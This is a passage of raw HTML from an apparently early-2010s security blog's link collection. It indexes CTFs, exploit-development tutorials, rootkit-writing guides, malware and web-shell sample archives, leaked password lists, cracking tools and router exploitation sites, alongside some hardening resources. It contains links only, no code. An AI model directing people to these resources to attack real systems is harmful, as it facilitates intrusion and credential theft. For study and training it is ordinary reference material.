href="http://pentest.cryptocity.net/capture-the-flag/"&gt;http://pentest.cryptocity.net/capture-the-flag/&lt;/a&gt;&lt;br /&gt;[Forensics]&amp;nbsp;Forensic Challenge 8 - "Malware Reverse Engineering" -&amp;nbsp;&lt;a href="https://www.honeynet.org/node/668"&gt;https://www.honeynet.org/node/668&lt;/a&gt;&lt;br /&gt;[Collection]&amp;nbsp;List of CTFs -&amp;nbsp;&lt;a href="http://x86overflow.blogspot.com/p/ctfs.html"&gt;http://x86overflow.blogspot.com/p/ctfs.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;&lt;span style="color: red; font-size: large;"&gt;Exploit Development (Programs)&lt;/span&gt;&lt;/div&gt;[Download] Old Version Downloads - &lt;a href="http://www.oldapps.com/"&gt;http://www.oldapps.com&lt;/a&gt;&lt;br /&gt;[Download] Oldversions of Windows, Mac, Linux Software &amp;amp; Abandonware Games - &lt;a href="http://www.oldversion.com/"&gt;http://www.oldversion.com&lt;/a&gt;&lt;br /&gt;[Download] Exploit Database Search - &lt;a href="http://www.exploit-db.com/search/"&gt;http://www.exploit-db.com/search/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;&lt;span style="color: red; font-size: large;"&gt;Kernel&lt;/span&gt;&lt;/div&gt;[Linux] Index of Documentation for People Interested in Writing and/orUnderstanding the Linux Kernel. -&amp;nbsp;&lt;a href="http://jungla.dit.upm.es/%7Ejmseyas/linux/kernel/hackers-docs.html"&gt;http://jungla.dit.upm.es/~jmseyas/linux/kernel/hackers-docs.html&lt;/a&gt;&lt;br /&gt;[PDF] From Browser To Kernel Exploitation -&amp;nbsp;&lt;a href="http://ensiwiki.ensimag.fr/images/6/61/SecurIMAG-2011-11-17-teach-a_long_way_from_browser_vulnerability_to_kernel_exploitation.pdf"&gt;http://ensiwiki.ensimag.fr/images/6/61/SecurIMAG-2011-11-17-teach-a_long_way_from_browser_vulnerability_to_kernel_exploitation.pdf&lt;/a&gt;&lt;br /&gt;[PDF] Introduction to Linux Kernel 2.6. How to write a Rootkit -&amp;nbsp;&lt;a href="https://info.fs.tum.de/images/2/21/2011-01-19-kernel-hacking.pdf"&gt;https://info.fs.tum.de/images/2/21/2011-01-19-kernel-hacking.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red; font-size: large;"&gt;Offensive Security's Pentesting With BackTrack (PWB) &lt;/span&gt;&lt;span style="color: red; font-size: large;"&gt;Course&lt;/span&gt;&lt;br /&gt;[Pre-course] Corelan Team - &lt;a href="http://www.corelan.be/"&gt;http://www.corelan.be&lt;/a&gt;&lt;br /&gt;[Pre-course] The Penetration Testing Execution Standard - &lt;a href="http://www.pentest-standard.org/index.php/Main_Page"&gt;http://www.pentest-standard.org/index.php/Main_Page&lt;/a&gt;&lt;br /&gt;[Hash] NTLM Decrypter - &lt;a href="http://www.md5decrypter.co.uk/ntlm-decrypt.aspx"&gt;http://www.md5decrypter.co.uk/ntlm-decrypt.aspx&lt;/a&gt;&lt;br /&gt;[Hash] reverse hash search and calculator - &lt;a href="http://goog.li/"&gt;http://goog.li&lt;/a&gt;&lt;br /&gt;[Tip] Ash's mental thoughts going into the OSCP exam -&amp;nbsp;&lt;a href="http://security.crudtastic.com/?p=213"&gt;http://security.crudtastic.com/?p=213&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red; font-size: large;"&gt;Misc&lt;/span&gt;&lt;br /&gt;[RSS] Open Penetration Testing Bookmarks Collection - &lt;a href="https://code.google.com/p/pentest-bookmarks/downloads/list"&gt;https://code.google.com/p/pentest-bookmarks/downloads/list&lt;/a&gt;&lt;br /&gt;[ExploitDev] Data mining Backtrack 4 for buffer overflow return addresses - &lt;a href="http://insidetrust.blogspot.com/2010/12/data-mining-backtrack-4-for-buffer.html"&gt;http://insidetrust.blogspot.com/2010/12/data-mining-backtrack-4-for-buffer.html&lt;/a&gt;&lt;br /&gt;[DIY] Repair a Broken Ethernet Plug - &lt;a href="http://www.instructables.com/id/Repair-a-Broken-Ethernet-Plug/step5/Make-its-Head-Thin/"&gt;http://www.instructables.com/id/Repair-a-Broken-Ethernet-Plug/step5/Make-its-Head-Thin/&lt;/a&gt;&lt;br /&gt;[Desktop] Ubuntu Security - &lt;a href="http://ubuntuforums.org/showthread.php?t=510812"&gt;http://ubuntuforums.org/showthread.php?t=510812&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blackhat.com/presentations/bh-europe-05/BH_EU_05-Long.pdf"&gt;&lt;span style="color: red;"&gt;http://www.blackhat.com/presentations/bh-europe-05/BH_EU_05-Long.pdf&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html"&gt;http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://dsecrg.blogspot.com/search/label/SMBRelay%20bible"&gt;http://dsecrg.blogspot.com/search/label/SMBRelay%20bible&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.ivizsecurity.com/blog/web-application-security/testing-flash-applications-pen-tester-guide/"&gt;http://www.ivizsecurity.com/blog/web-application-security/testing-flash-applications-pen-tester-guide/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://sghctoma.extra.hu/index.php?p=entry&amp;amp;id=18%20"&gt;http://sghctoma.extra.hu/index.php?p=entry&amp;amp;id=18&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.anti-forensics.com/beat-encase-file-signature-analysis-on-a-windows-system"&gt;http://www.anti-forensics.com/beat-encase-file-signature-analysis-on-a-windows-system&lt;/a&gt;&lt;br /&gt;&lt;a href="https://blogs.msdn.com/themes/blogs/generic/post.aspx?WeblogApp=oldnewthing&amp;amp;y=2011&amp;amp;m=09&amp;amp;d=21&amp;amp;WeblogPostID=10214405&amp;amp;GroupKeys="&gt;https://blogs.msdn.com/themes/blogs/generic/post.aspx?WeblogApp=oldnewthing&amp;amp;y=2011&amp;amp;m=09&amp;amp;d=21&amp;amp;WeblogPostID=10214405&amp;amp;GroupKeys=&lt;/a&gt;&lt;br /&gt;&lt;a href="http://tuts4you.com/download.php?view.3216"&gt;http://tuts4you.com/download.php?view.3216&lt;/a&gt;&lt;br /&gt;&lt;a href="http://tuts4you.com/download.php?list.17"&gt;http://tuts4you.com/download.php?list.17&lt;/a&gt;&lt;br /&gt;&lt;a href="http://portal.b-at-s.net/download.php"&gt;http://portal.b-at-s.net/download.php&lt;/a&gt;&lt;br /&gt;&lt;a href="http://journeyintoir.blogspot.com/2011/09/building-timelines-tools-usage.html"&gt;http://journeyintoir.blogspot.com/2011/09/building-timelines-tools-usage.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://quequero.org/uicwiki/index.php?diff=12753&amp;amp;oldid=prev&amp;amp;title=Carberp_Reverse_Engineering"&gt;http://quequero.org/uicwiki/index.php?diff=12753&amp;amp;oldid=prev&amp;amp;title=Carberp_Reverse_Engineering&lt;/a&gt;&lt;br /&gt;&lt;a href="https://code.google.com/p/findmyhash/downloads/list"&gt;https://code.google.com/p/findmyhash/downloads/list&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.contextis.com/research/blog/reverseproxybypass/"&gt;http://www.contextis.com/research/blog/reverseproxybypass/&lt;/a&gt;&lt;br /&gt;&lt;a href="https://nealpoole.com/blog/2011/10/java-applet-same-origin-policy-bypass-via-http-redirect/"&gt;https://nealpoole.com/blog/2011/10/java-applet-same-origin-policy-bypass-via-http-redirect/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://git.or.cz/course/svn.html"&gt;http://git.or.cz/course/svn.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://grandstreamdreams.blogspot.com/2012/01/wipies-part-ii-full-coverage-cleaning.html"&gt;http://grandstreamdreams.blogspot.com/2012/01/wipies-part-ii-full-coverage-cleaning.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://blog.9bplus.com/quickly-summarizing-pcaps"&gt;http://blog.9bplus.com/quickly-summarizing-pcaps&lt;/a&gt;&lt;br /&gt;[PDF] GPG Guide for Secure Communications&amp;nbsp;- &amp;nbsp;&lt;a href="https://s3.amazonaws.com/access.3cdn.net/61181827185c940f93_45m6i2j28.pdf"&gt;https://s3.amazonaws.com/access.3cdn.net/61181827185c940f93_45m6i2j28.pdf&lt;/a&gt;&lt;br /&gt;Advanced DLL Injection -&amp;nbsp;&lt;a href="http://syprog.blogspot.com/2011/11/advanced-dll-injection.html"&gt;http://syprog.blogspot.com/2011/11/advanced-dll-injection.html&lt;/a&gt;&lt;br /&gt;A pure python web based disassembler -&amp;nbsp;&lt;a href="http://pyms86.appspot.com/"&gt;http://pyms86.appspot.com/&lt;/a&gt;&lt;br /&gt;[Guide]&amp;nbsp;Extracting Malicious Flash Objects from PDFs Using SWF Mastah -&amp;nbsp;&lt;a href="http://blog.zeltser.com/post/12615013257/extracting-swf-from-pdf-using-swf-mastah"&gt;http://blog.zeltser.com/post/12615013257/extracting-swf-from-pdf-using-swf-mastah&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red; font-size: large;"&gt;Tech&amp;nbsp;&lt;/span&gt;&lt;span style="color: red; font-size: large;"&gt;Humour&lt;/span&gt;&lt;br /&gt;[TechHumor]&amp;nbsp;&lt;span style="color: red;"&gt;Title&lt;/span&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://www.xkcd.com/"&gt;&lt;span style="color: red;"&gt;https://www.xkcd.com&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.geeksaresexy.net/2009/09/01/a-hidden-gem-in-html/"&gt;http://www.geeksaresexy.net/2009/09/01/a-hidden-gem-in-html/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://bobby-tables.com/"&gt;http://bobby-tables.com/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://theoatmeal.com/"&gt;http://theoatmeal.com/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.cad-comic.com/"&gt;http://www.cad-comic.com/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red; font-size: large;"&gt;Malware&lt;/span&gt;&lt;br /&gt;[Program] &lt;span itemprop="description"&gt;A malware identification and classification tool - &lt;/span&gt;&lt;a href="https://code.google.com/p/yara-project/"&gt;https://code.google.com/p/yara-project/&lt;/a&gt;&lt;br /&gt;[Samples] Base of malware packages - &lt;a href="http://malwares.pl/index.php?dir="&gt;http://malwares.pl/index.php?dir=&lt;/a&gt;&lt;br /&gt;[Samples] A Collection of Web Backdoors &amp;amp; Shells - &lt;a href="http://contagiodump.blogspot.com/2010/03/collection-of-web-backdoors-shells-from.html"&gt;http://contagiodump.blogspot.com/2010/03/collection-of-web-backdoors-shells-from.html&lt;/a&gt;&lt;br /&gt;[BootKit] Bootkit Threat Evolution in 2011 -&amp;nbsp;&lt;a href="http://blog.eset.com/2012/01/03/bootkit-threat-evolution-in-2011-2"&gt;http://blog.eset.com/2012/01/03/bootkit-threat-evolution-in-2011-2&lt;/a&gt;&lt;br /&gt;[Analysis]&amp;nbsp;Deconstructing the Black Hole Exploit Kit -&amp;nbsp;&lt;a href="http://blog.imperva.com/2011/12/deconstructing-the-black-hole-exploit-kit.html"&gt;http://blog.imperva.com/2011/12/deconstructing-the-black-hole-exploit-kit.html&lt;/a&gt;&lt;br /&gt;[OSX]&amp;nbsp;Inside a Modern Mac Trojan -&amp;nbsp;&lt;a href="https://krebsonsecurity.com/2011/09/inside-a-modern-mac-trojan/"&gt;https://krebsonsecurity.com/2011/09/inside-a-modern-mac-trojan/&lt;/a&gt;&lt;br /&gt;[Analysis] Deobfuscating malicious code layer&amp;nbsp;&lt;a href="http://pandalabs.pandasecurity.com/deobfuscating-malicious-code-layer-by-layer/"&gt;http://pandalabs.pandasecurity.com/deobfuscating-malicious-code-layer-by-layer/&lt;/a&gt;&lt;br /&gt;[Collection]&amp;nbsp;Debuggers Anti-Attaching Techniques - Part 1 -&amp;nbsp;&lt;a href="http://waleedassar.blogspot.com/2011/12/debuggers-anti-attaching-techniques.html"&gt;http://waleedassar.blogspot.com/2011/12/debuggers-anti-attaching-techniques.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red; font-size: large;"&gt;Videos&lt;/span&gt;&lt;br /&gt;[Program] easy-creds&amp;nbsp;&lt;a href="https://www.youtube.com/user/Brav0Hax"&gt;https://www.youtube.com/user/Brav0Hax&lt;/a&gt;&lt;br /&gt;[Series]&amp;nbsp;Social Engineering Toolkit Megaprimer Part 1 -&amp;nbsp;&lt;a href="http://www.securitytube.net/video/2571"&gt;http://www.securitytube.net/video/2571&lt;/a&gt;&lt;br /&gt;[Program]&amp;nbsp;BeEF &amp;amp; Intranet Footprinting -&amp;nbsp;&lt;a href="https://www.youtube.com/watch?v=zOJ1LUfcv3k"&gt;https://www.youtube.com/watch?v=zOJ1LUfcv3k&lt;/a&gt;&lt;br /&gt;[Program] Demonstrating BeEF's Metasploit Plugin -&amp;nbsp;&lt;a href="https://www.youtube.com/watch?v=al0veZ2950M"&gt;https://www.youtube.com/watch?v=al0veZ2950M&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red; font-size: large;"&gt;Embedded Devies&lt;/span&gt;&lt;br /&gt;[Router] RouterPwn - &lt;a href="http://www.routerpwn.com/"&gt;http://www.routerpwn.com&lt;/a&gt;&lt;br /&gt;[Router] Database of private SSL/SSH keys for embedded devices - &lt;a href="https://code.google.com/p/littleblackbox/"&gt;https://code.google.com/p/littleblackbox/&lt;/a&gt;&lt;br /&gt;[Geo] mapping MAC addresses - &lt;a href="http://samy.pl/androidmap/"&gt;http://samy.pl/androidmap/&lt;/a&gt;&lt;br /&gt;[BIOS] BIOS Password Backdoors in Laptops - &lt;a href="http://dogber1.blogspot.com/2009/05/table-of-reverse-engineered-bios.html"&gt;http://dogber1.blogspot.com/2009/05/table-of-reverse-engineered-bios.html&lt;/a&gt;&lt;br /&gt;[Protection] Cisco Router Hardening Step-by-Step - &lt;a href="https://www.sans.org/reading_room/whitepapers/firewalls/cisco-router-hardening-step-by-step_794"&gt;https://www.sans.org/reading_room/whitepapers/firewalls/cisco-router-hardening-step-by-step_794&lt;/a&gt;&lt;br /&gt;[iPhone] iPhone Tracker -&amp;nbsp;&lt;a href="http://petewarden.github.com/iPhoneTracker/"&gt;http://petewarden.github.com/iPhoneTracker/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red; font-size: large;"&gt;Exploit Development&lt;/span&gt;&lt;br /&gt;[Guides] Corelan Team - &lt;a href="http://www.corelan.be/"&gt;http://www.corelan.be&lt;/a&gt;&lt;br /&gt;[Guide] From 0x90 to 0x4c454554, a journey into exploitation. - &lt;a href="http://myne-us.blogspot.com/2010/08/from-0x90-to-0x4c454554-journey-into.html"&gt;http://myne-us.blogspot.com/2010/08/from-0x90-to-0x4c454554-journey-into.html&lt;/a&gt;&lt;br /&gt;[Guide] An Introduction to Fuzzing: Using fuzzers (SPIKE) to find vulnerabilities - &lt;a href="http://resources.infosecinstitute.com/intro-to-fuzzing/"&gt;http://resources.infosecinstitute.com/intro-to-fuzzing/&lt;/a&gt;&lt;br /&gt;[Video] TiGa's Video Tutorial Series on IDA Pro - &lt;a href="http://www.woodmann.com/TiGa/idaseries.html"&gt;http://www.woodmann.com/TiGa/idaseries.html&lt;/a&gt;&lt;br /&gt;[Guide] Advanced Windows Buffer Overflows - &lt;a href="http://labs.snort.org/awbo/"&gt;http://labs.snort.org/awbo/&lt;/a&gt;&lt;br /&gt;[Guide] Stack Based Windows Buffer Overflow Tutorial - &lt;a href="http://grey-corner.blogspot.com/2010/01/beginning-stack-based-buffer-overflow.html"&gt;http://grey-corner.blogspot.com/2010/01/beginning-stack-based-buffer-overflow.htmlt&lt;/a&gt;&lt;br /&gt;[Guide] SEH Stack Based Windows Buffer Overflow Tutorial - &lt;a href="http://grey-corner.blogspot.com/2010/01/seh-stack-based-windows-buffer-overflow.html"&gt;http://grey-corner.blogspot.com/2010/01/seh-stack-based-windows-buffer-overflow.html&lt;/a&gt;&lt;br /&gt;[Guide] Windows Buffer Overflow Tutorial: Dealing with Character Translation - &lt;a href="http://grey-corner.blogspot.com/2010/01/windows-buffer-overflow-tutorial.html"&gt;http://grey-corner.blogspot.com/2010/01/windows-buffer-overflow-tutorial.html&lt;/a&gt;&lt;br /&gt;[Guide] Heap Spray Exploit Tutorial: Internet Explorer Use After Free Aurora Vulnerability&amp;lt; - &lt;a href="http://grey-corner.blogspot.com/2010/01/heap-spray-exploit-tutorial-internet.html"&gt;http://grey-corner.blogspot.com/2010/01/heap-spray-exploit-tutorial-internet.html&lt;/a&gt;&lt;br /&gt;[Guide] Windows Buffer Overflow Tutorial: An Egghunter and a Conditional Jump - &lt;a href="http://grey-corner.blogspot.com/2010/02/windows-buffer-overflow-tutorial.html"&gt;http://grey-corner.blogspot.com/2010/02/windows-buffer-overflow-tutorial.html&lt;/a&gt;&lt;br /&gt;[Collection] Linux exploit development part 1 – Stack overflow. - &lt;a href="http://sickness.tor.hu/?p=363"&gt;http://sickness.tor.hu/?p=363&lt;/a&gt;&lt;br /&gt;[Video] Athcon / Hack In Paris Demo 2 - &lt;a href="https://www.youtube.com/watch?v=klXFqtYR5Mg"&gt;https://www.youtube.com/watch?v=klXFqtYR5Mg&lt;/a&gt;&lt;br /&gt;[Mona] Exploit Development with mona.py - &lt;a href="http://amolnaik4.blogspot.com/2011/06/exploit-development-with-monapy.html"&gt;http://amolnaik4.blogspot.com/2011/06/exploit-development-with-monapy.html&lt;/a&gt;&lt;br /&gt;[Theory] Stack frame layout on x86-64 - &lt;a href="http://eli.thegreenplace.net/2011/09/06/stack-frame-layout-on-x86-64"&gt;http://eli.thegreenplace.net/2011/09/06/stack-frame-layout-on-x86-64&lt;/a&gt;&lt;br /&gt;[Challenge] Helping Developers Understand Security - &lt;a href="http://spotthevuln.com/"&gt;http://spotthevuln.com&lt;/a&gt;&lt;br /&gt;[Guides] Exploit Writing Tutorials - &lt;a href="http://www.corelan.be/index.php/category/security/exploit-writing-tutorials/"&gt;http://www.corelan.be/index.php/category/security/exploit-writing-tutorials/&lt;/a&gt;&lt;br /&gt;[Guide] Breaking MailEnable 2.34: A lesson in security featuring Metasploit, Immunity Debugger, and mona.py - &lt;a href="http://volatile-minds.blogspot.com/2011/07/breaking-mailenable-234-lesson-in.html"&gt;http://volatile-minds.blogspot.com/2011/07/breaking-mailenable-234-lesson-in.html&lt;/a&gt;&lt;br /&gt;[Web] Finding 0days in Web Applications - &lt;a href="http://www.exploit-db.com/finding-0days-in-web-applications/"&gt;http://www.exploit-db.com/finding-0days-in-web-applications/&lt;/a&gt;&lt;br /&gt;[Windows] Offensive Security Exploit Weekend - &lt;a href="http://www.corelan.be/index.php/2010/11/13/offensive-security-exploit-weekend/"&gt;http://www.corelan.be/index.php/2010/11/13/offensive-security-exploit-weekend/&lt;/a&gt;&lt;br /&gt;[Windows] From vulnerability to exploit under 5 min - &lt;a href="http://0entropy.blogspot.com/2011/02/from-vulnerability-to-exploit-under-5.html"&gt;http://0entropy.blogspot.com/2011/02/from-vulnerability-to-exploit-under-5.html&lt;/a&gt;&lt;br /&gt;[Windows]&amp;nbsp;Remote control manager FAIL -&amp;nbsp;&lt;a href="http://www.skullsecurity.org/blog/2011/remote-control-manager-fail"&gt;http://www.skullsecurity.org/blog/2011/remote-control-manager-fail&lt;/a&gt;&lt;br /&gt;[Guide] Heap Overflows For Humans 102.5 -&amp;nbsp;&lt;a href="http://net-ninja.net/blog/?p=952"&gt;http://net-ninja.net/blog/?p=952&lt;/a&gt;&lt;br /&gt;[Guide] Analyzing CVE-2011-2462 - Part Three -&amp;nbsp;&lt;a href="http://blog.9bplus.com/analyzing-cve-2011-2462-part-three"&gt;http://blog.9bplus.com/analyzing-cve-2011-2462-part-three&lt;/a&gt;&lt;br /&gt;[Guide] A Textbook Buffer Overflow: A Look at the FreeBSD telnetd Code -&amp;nbsp;&lt;a href="http://thexploit.com/secdev/a-textbook-buffer-overflow-a-look-at-the-freebsd-telnetd-code/"&gt;http://thexploit.com/secdev/a-textbook-buffer-overflow-a-look-at-the-freebsd-telnetd-code/&lt;/a&gt;&lt;br /&gt;[Guide] Egghunter Exploitation Tutorial - &lt;a href="http://resources.infosecinstitute.com/buffer-overflow-vulnserver/"&gt;http://resources.infosecinstitute.com/buffer-overflow-vulnserver/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red; font-size: large;"&gt;Exploit Development (Patch Analysis)&lt;/span&gt;&lt;br /&gt;[Windows] A deeper look at MS11-058 - &lt;a href="http://www.skullsecurity.org/blog/2011/a-deeper-look-at-ms11-058"&gt;http://www.skullsecurity.org/blog/2011/a-deeper-look-at-ms11-058&lt;/a&gt;&lt;br /&gt;[Windows] Patch Analysis for MS11-058 - &lt;a href="https://community.qualys.com/blogs/securitylabs/2011/08/23/patch-analysis-for-ms11-058"&gt;https://community.qualys.com/blogs/securitylabs/2011/08/23/patch-analysis-for-ms11-058&lt;/a&gt;&lt;br /&gt;[Windows] CVE-2011-1281: A story of a Windows CSRSS Privilege Escalation vulnerability - &lt;a href="http://j00ru.vexillium.org/?p=893"&gt;http://j00ru.vexillium.org/?p=893&lt;/a&gt;&lt;br /&gt;[Mobile] Analyzing and dissecting Android applications for security defects and vulnerabilities - &lt;a href="https://www.net-security.org/article.php?id=1613"&gt;https://www.net-security.org/article.php?id=1613&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red; font-size: large;"&gt;Exploit Development (Reserve Energising)&lt;/span&gt;&lt;br /&gt;[Guide]&amp;nbsp;Exploiting Adobe Flash Player on Windows 7 -&amp;nbsp;&lt;a href="http://www.abysssec.com/blog/2011/04/18/exploiting-adobe-flash-player-on-windows-7/"&gt;http://www.abysssec.com/blog/2011/04/18/exploiting-adobe-flash-player-on-windows-7/&lt;/a&gt;&lt;br /&gt;[Guide]&amp;nbsp;Heap Spraying Adobe: exploiting collab.collectemailinfo() -&amp;nbsp;&lt;a href="http://dreamofareverseengineer.blogspot.com/2011/07/heap-spraying-adobe-exploiting.html"&gt;http://dreamofareverseengineer.blogspot.com/2011/07/heap-spraying-adobe-exploiting.html&lt;/a&gt;&lt;br /&gt;[Guide]&amp;nbsp;Intro. To Reversing - W32Pinkslipbot -&amp;nbsp;&lt;a href="http://blog.opensecurityresearch.com/2011/12/intro-to-reversing-w32pinkslipbot.html"&gt;http://blog.opensecurityresearch.com/2011/12/intro-to-reversing-w32pinkslipbot.html&lt;/a&gt;&lt;br /&gt;[Guide]&amp;nbsp;Decrypting iPhone Apps - https://www.sensepost.com/blog/6254.html&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red; font-size: large;"&gt;Databases&lt;/span&gt;&lt;br /&gt;[Exploits] SHODAN Exploits - &lt;a href="http://www.shodanhq.com/exploits"&gt;http://www.shodanhq.com/exploits&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red; font-size: large;"&gt;Basic&amp;nbsp;&lt;/span&gt;&lt;span style="color: red; font-size: large;"&gt;Linux&lt;/span&gt;&lt;br /&gt;[Tip]&amp;nbsp;Linux 101: Useful Commands -&amp;nbsp;&lt;a href="http://www.codedrunk.com/2011/09/linux-101-useful-commands.html"&gt;http://www.codedrunk.com/2011/09/linux-101-useful-commands.html&lt;/a&gt;&lt;br /&gt;[Tip]&amp;nbsp;Linux Directory Structure Explained -&amp;nbsp;&lt;a href="http://www.codedrunk.com/2011/09/linux-directory-structure-explained.html"&gt;http://www.codedrunk.com/2011/09/linux-directory-structure-explained.html&lt;/a&gt;&lt;br /&gt;[Remote] Tips for Remote Unix Work (SSH, screen, And VNC) &lt;a href="http://shebang.brandonmintern.com/tips-for-remote-unix-work-ssh-screen-and-vnc"&gt;http://shebang.brandonmintern.com/tips-for-remote-unix-work-ssh-screen-and-vnc&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red; font-size: large;"&gt;Exploit Development (Metasploit Wishlist)&lt;/span&gt;&lt;br /&gt;[ExplotDev] Metasploit Exploits Wishlist ! - &lt;a href="http://esploit.blogspot.com/2011/03/metasploit-exploits-wishlist.html"&gt;http://esploit.blogspot.com/2011/03/metasploit-exploits-wishlist.html&lt;/a&gt;&lt;br /&gt;[Guide] Porting Exploits To Metasploit Part 1 - &lt;a href="http://www.securitytube.net/video/2118"&gt;http://www.securitytube.net/video/2118&lt;/a&gt;&lt;br /&gt;[Guide] Want to get your feet wet? Start here. - &lt;a href="https://github.com/rapid7/metasploit-framework/wiki/Contributing-to-Metasploit"&gt;https://github.com/rapid7/metasploit-framework/wiki/Contributing-to-Metasploit&lt;/a&gt;&lt;br /&gt;[Guide] MonaSploit - &lt;a href="https://community.rapid7.com/community/solutions/metasploit/blog/2011/10/11/monasploit"&gt;https://community.rapid7.com/community/solutions/metasploit/blog/2011/10/11/monasploit&lt;/a&gt;&lt;br /&gt;[WishList]&amp;nbsp;Top 50 Exploits -&amp;nbsp;&lt;a href="https://dev.metasploit.com/redmine/projects/framework/wiki/Exploit_Todo"&gt;https://dev.metasploit.com/redmine/projects/framework/wiki/Exploit_Todo&lt;/a&gt;&lt;br /&gt;[WishList] Metasploit Framework Wishlist -&amp;nbsp;&lt;a href="http://cosine-security.blogspot.com/2011/02/metasploit-framework-wishlist.html"&gt;http://cosine-security.blogspot.com/2011/02/metasploit-framework-wishlist.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red; font-size: large;"&gt;Passwords &amp;amp; Rainbow Tables (WPA)&amp;nbsp;&lt;/span&gt;&lt;span style="color: red; font-size: large;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: red; font-size: large;"&gt;&amp;nbsp;Wordlists&lt;/span&gt;&lt;br /&gt;[RSS] &lt;span style="color: red;"&gt;Title&lt;/span&gt; - &lt;a href="http://ob-security.info/?p=475"&gt;http://ob-security.info/?p=475&lt;/a&gt;&lt;br /&gt;[RSS] &lt;span style="color: red;"&gt;Title&lt;/span&gt; - &lt;a href="http://nakedsecurity.sophos.com/2011/06/14/the-top-10-passcodes-you-should-never-use-on-your-iphone/"&gt;http://nakedsecurity.sophos.com/2011/06/14/the-top-10-passcodes-you-should-never-use-on-your-iphone/&lt;/a&gt;&lt;br /&gt;[RSS] &lt;span style="color: red;"&gt;Title&lt;/span&gt; - &lt;a href="http://www.troyhunt.com/2011/06/brief-sony-password-analysis.html"&gt;http://www.troyhunt.com/2011/06/brief-sony-password-analysis.html&lt;/a&gt;&lt;br /&gt;[WPA] Offensive Security: WPA Rainbow Tables - &lt;a href="http://www.offensive-security.com/wpa-tables/"&gt;http://www.offensive-security.com/wpa-tables/&lt;/a&gt;&lt;br /&gt;[Wiki]&amp;nbsp;The Password Project -&amp;nbsp;&lt;a href="http://thepasswordproject.com/"&gt;http://thepasswordproject.com/&lt;/a&gt;&lt;br /&gt;[Tool] Ultra High Security Password Generator - &lt;a href="https://www.grc.com/passwords.htm"&gt;https://www.grc.com/passwords.htm&lt;/a&gt;&lt;br /&gt;[Tool] John the Ripper config generator - &lt;a href="https://sites.google.com/site/reusablesec2/jtrconfiggenerator"&gt;https://sites.google.com/site/reusablesec2/jtrconfiggenerator&lt;/a&gt;&lt;br /&gt;[Guide] Creating effective dictionaries for password attacks - &lt;a href="http://insidetrust.blogspot.com/2010/07/creating-effective-dictionaries-for.html"&gt;http://insidetrust.blogspot.com/2010/07/creating-effective-dictionaries-for.html&lt;/a&gt;&lt;br /&gt;[Leaked] Diccionarios con Passwords de Sitios Expuestos - &lt;a href="http://www.dragonjar.org/diccionarios-con-passwords-de-sitios-expuestos.xhtml"&gt;http://www.dragonjar.org/diccionarios-con-passwords-de-sitios-expuestos.xhtml&lt;/a&gt;&lt;br /&gt;[Download] Index of / - &lt;a href="http://svn.isdpodcast.com/wordlists/"&gt;http://svn.isdpodcast.com/wordlists/&lt;/a&gt;&lt;br /&gt;[Guide] Using Wikipedia as brute forcing dictionary - &lt;a href="http://lab.lonerunners.net/blog/using-wikipedia-as-brute-forcing-dictionary"&gt;http://lab.lonerunners.net/blog/using-wikipedia-as-brute-forcing-dictionary&lt;/a&gt;&lt;br /&gt;[Tool] CeWL - Custom Word List generator - &lt;a href="http://www.digininja.org/projects/cewl.php"&gt;http://www.digininja.org/projects/cewl.php&lt;/a&gt;&lt;br /&gt;[Download] Title - &lt;a href="http://www.aircrack-ng.org/doku.php?id=faq#where_can_i_find_good_wordlists"&gt;http://www.aircrack-ng.org/doku.php?id=faq#where_can_i_find_good_wordlists&lt;/a&gt;&lt;br /&gt;[Leaked] Passwords - &lt;a href="http://www.skullsecurity.org/wiki/index.php/Passwords"&gt;http://www.skullsecurity.org/wiki/index.php/Passwords&lt;/a&gt;&lt;br /&gt;[Tools] password analysis and cracking kit -&amp;nbsp;&lt;a href="http://thesprawl.org/projects/pack/"&gt;http://thesprawl.org/projects/pack/&lt;/a&gt;&lt;br /&gt;[Tools]&amp;nbsp;crunch -&amp;nbsp;&lt;a href="http://sourceforge.net/projects/crunch-wordlist/"&gt;http://sourceforge.net/projects/crunch-wordlist/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br 